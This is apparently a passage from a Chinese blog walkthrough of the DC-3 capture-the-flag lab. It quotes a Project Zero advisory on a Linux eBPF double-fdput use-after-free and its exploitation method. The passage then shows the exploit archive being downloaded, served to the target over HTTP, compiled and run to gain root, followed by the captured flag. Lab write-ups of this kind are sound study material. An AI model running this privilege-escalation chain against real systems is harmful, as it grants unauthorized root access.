These conditions are fulfilled in Ubuntu 16.04.

When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference e
BPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:

        /* look for pseudo eBPF instructions that access map FDs and
         * replace them with actual map pointers
         */
        static int replace_map_fd_with_map_ptr(struct verifier_env *env)
        {
    
    
                struct bpf_insn *insn = env->prog->insnsi;
                int insn_cnt = env->prog->len;
                int i, j;

                for (i = 0; i < insn_cnt; i++, insn++) {
    
    
                        [checks for bad instructions]

                        if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
    
    
                                struct bpf_map *map;
                                struct fd f;

                                [checks for bad instructions]

                                f = fdget(insn->imm);
                                map = __bpf_map_get(f);
                                if (IS_ERR(map)) {
    
    
                                        verbose("fd %d is not pointing to va
lid bpf_map\n",
                                                insn->imm);
                                        fdput(f);
                                        return PTR_ERR(map);
                                }

                                [...]
                        }
                }
                [...]
        }


__bpf_map_get contains the following code:

/* if error is returned, fd is released.
 * On success caller should complete fd access with matching fdput()
 */
struct bpf_map *__bpf_map_get(struct fd f)
{
    
    
        if (!f.file)
                return ERR_PTR(-EBADF);
        if (f.file->f_op != &bpf_map_fops) {
    
    
                fdput(f);
                return ERR_PTR(-EINVAL);
        }

        return f.file->private_data;
}

The problem is that when the caller supplies a file descriptor number referr
ing
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with anothe
r
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will ca
use
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.

A simple proof of concept that causes oopses/crashes on a kernel compiled wi
th
memory debugging options is attached as crasher.tar.


One way to exploit this issue is to create a writable file descriptor, start
 a
write operation on it, wait for the kernel to verify the file's writability,

then free the writable file and open a readonly file that is allocated in th
e
same place before the kernel writes into the freed file, allowing an attacke
r
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.

There are two problems with this approach:

The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linu
x
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).

In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the targ
et
file and the actual write operation. This can be done by abusing the writev(
)
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially de
lays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do t
his
would be to use the userfaultfd() syscall.)

writev() calls do_writev(), which looks up the struct file * corresponding t
o
the file descriptor number and then calls vfs_writev(). vfs_writev() verifie
s
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs t
he
rest of the write operation. Because import_iovec() performs a userspace mem
ory
access, it may have to wait for pages to be faulted in - and in this case, i
t
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,

allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.

An exploit that puts all this together is in exploit.tar. Usage:

user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=
60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(
plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)

This exploit was tested on a Ubuntu 16.04 Desktop system.

Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/
?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7


Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment
?aid=232552
Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploi
ts/raw/master/bin-sploits/39772.zip
# 下载利用脚本
$ wget https://github.com/offensive-security/exploitdb-bin-sploi
ts/raw/master/bin-sploits/39772.zip
$ tar xf 39772.zip
# 上传利用脚本到靶机
$ python3 -m http.server 8080
# 靶机上
$ wget http://192.168.57.200:8080/exploit.tar
www-data@DC-3:/tmp$ tar xf exploit.tar
tar xf exploit.tar
www-data@DC-3:/tmp$ ls
ls
ebpf_mapfd_doubleput_exploit
exploit.tar
systemd-private-533ec9c686b44f509a09c79dc4526953-systemd-timesyncd.service-G4p1nG
vmware-root
www-data@DC-3:/tmp$ cd ebpf*
cd ebpf*
www-data@DC-3:/tmp/ebpf_mapfd_doubleput_exploit$ ls
ls
compile.sh  doubleput.c  hello    suidhelper
doubleput   fuse_mount   hello.c  suidhelper.c
# 编译利用脚本
www-data@DC-3:/tmp/ebpf_mapfd_doubleput_exploit$ bash comp*
bash comp*
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
             ^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)""
               ^
www-data@DC-3:/tmp/ebpf_mapfd_doubleput_exploit$ ls
ls
compile.sh  doubleput.c  hello    suidhelper
doubleput   fuse_mount   hello.c  suidhelper.c
www-data@DC-3:/tmp/ebpf_mapfd_doubleput_exploit$ chmod 777 doubleput
chmod 777 doubleput
www-data@DC-3:/tmp/ebpf_mapfd_doubleput_exploit$ ./doubleput
./doubleput
suid file detected, launching rootshell...
we have root privs now...
fuse: mountpoint is not empty
fuse: if you are sure this is safe, use the 'nonempty' mount option
doubleput: system() failed
root@DC-3:/tmp/ebpf_mapfd_doubleput_exploit# doubleput: child quit before we got a good file*


root@DC-3:/tmp/ebpf_mapfd_doubleput_exploit# ls /root
ls /root
the-flag.txt
# 查看flag
root@DC-3:/tmp/ebpf_mapfd_doubleput_exploit# cat /root/the*
cat /root/the*
 __        __   _ _   ____                   _ _ _ _ 
 \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
                                                     

Congratulations are in order.  :-)

I hope you've enjoyed this challenge as I enjoyed making it.

If there are any ways that I can improve these little challenges,
please let me know.

As per usual, comments and complaints can be sent via Twitter to @DCAU7

Have a great day!!!!
root@DC-3:/tmp/ebpf_mapfd_doubleput_exploit# 

猜你喜欢

转载自blog.csdn.net/Nicky_Zheng/article/details/113173797